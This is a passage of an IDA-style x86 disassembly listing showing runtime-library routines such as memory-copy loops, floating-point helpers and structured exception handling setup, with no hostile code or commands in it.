; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEC+40p
					; ___:0040E2A0p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D031+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A970
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB9AC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF84, offset sub_421935
		mov	off_43CF80, eax
		mov	off_43CF88, offset sub_42199B
		mov	off_43CF8C, offset sub_4218DB
		mov	off_43CF90, offset sub_421983
		mov	off_43CF94, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D031+1Bp
					; sub_40D031+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07D+82p
					; ___:0040DD3Dp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A988
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBA04
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07D+5p
					; sub_40D21F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B4+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D725+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


